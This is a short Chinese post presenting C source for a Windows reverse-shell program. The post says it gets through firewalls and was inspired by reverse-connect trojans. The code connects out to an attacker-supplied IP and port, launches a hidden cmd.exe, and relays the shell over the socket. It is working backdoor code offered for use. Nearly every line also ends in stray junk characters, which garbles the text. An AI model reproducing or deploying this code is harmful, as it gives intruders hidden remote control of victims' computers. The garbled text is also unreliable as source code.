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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P34LV+e  
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/* ============================== GP{$v:RG  
Rebound port in Windows NT |5O >>a()  
By wind,2006/7 ~'^!udF-  
===============================*/ QN5yBa!Wz  
#include x2j /8]'o  
#include *R_'$+  
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#pragma comment(lib,"wsock32.lib") {t844La"  
t+=12{9;f  
void OutputShell(); z-KrQx2  
SOCKET sClient; (30<oE{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3 x"@**(Q  
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void main(int argc,char **argv) 9N~8s6Ob  
{ tC2 )j7@  
WSADATA stWsaData; 1<LC8?wt  
int nRet; ~K5Cr  
SOCKADDR_IN stSaiClient,stSaiServer; /h?<MI\7V  
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if(argc != 3) 2Vz'n@g=  
{ \LIy:$`8  
printf("Useage:\n\rRebound DestIP DestPort\n"); >AR Tr'B  
return; T&9`?QD  
} *Rz{44LP&  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {PN:bb  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'RDWU7c9]  
)8pc f`h{  
stSaiClient.sin_family = AF_INET; 2}^+ ]5  
stSaiClient.sin_port = htons(0); 5a=nF9/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i Td-n9  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HA$Y1}  
{ '"oo;`g7  
printf("Bind Socket Failed!\n"); Z:I*y7V-  
return; EKc C+g   
} NNwc!x)*  
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stSaiServer.sin_family = AF_INET; ^4+r*YvcM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E;9Z\?P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  %)pP[[h  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N g58/}zO  
{ S*4f%!  
printf("Connect Error!"); [!^cd%l  
return; LFCTr/,  
} {5SfE$r  
OutputShell(); / >%L[RJ4  
} ^rL ,&rk  
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void OutputShell() [u[ U_g*  
{ mj)PLZ]  
char szBuff[1024]; !~kEtC  
SECURITY_ATTRIBUTES stSecurityAttributes; |,3l`o k  
OSVERSIONINFO stOsversionInfo; qc3~cH.@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a~WqUL  
STARTUPINFO stStartupInfo; F@9Y\. ,  
char *szShell; LaDY`u0G%  
PROCESS_INFORMATION stProcessInformation; 9x(}F<L  
unsigned long lBytesRead; 4KE)g  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *MI)]S  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M2dmG<  
stSecurityAttributes.lpSecurityDescriptor = 0; 58J_ w X  
stSecurityAttributes.bInheritHandle = TRUE; 3g;T?E  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )U'yUUi  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m*gj|1k  
q8/ihA6:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @m?{80;uQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dsK/6yu  
stStartupInfo.wShowWindow = SW_HIDE; U,HIB^= R  
stStartupInfo.hStdInput = hReadPipe; [yC"el6PM  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vb %T7  
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GetVersionEx(&stOsversionInfo); YwXXXh  
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switch(stOsversionInfo.dwPlatformId) ?I\v0H*  
{ -?5$ PH  
case 1: awFhz 6   
szShell = "command.com"; !y%+GwoW  
break; Mb/L~gd"  
default: 7 W{~f?Sh  
szShell = "cmd.exe"; SF^x=[ir  
break; EI\v  
} |Ytg  
<raG07{!*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U. (Tl>K|0  
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send(sClient,szMsg,77,0); y AOg\+  
while(1) yb?{LL-uy  
{ XVF^,Yf  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [sj VRW-  
if(lBytesRead) -w~(3(  
{ +0"x|$f~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sPy2/7Wqd  
send(sClient,szBuff,lBytesRead,0); ~:EW>Fq%i  
} !}5*?k g  
else UiIF6-ZZ!  
{ -\Z `z}D  
lBytesRead=recv(sClient,szBuff,1024,0); -`Q}tg>cT  
if(lBytesRead<=0) break; hiwIWd:H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LwOJ |jA(,  
} O:^'x*}  
} j{;|g%5t  
9afh[3qm  
return; ue6d~8&  
}
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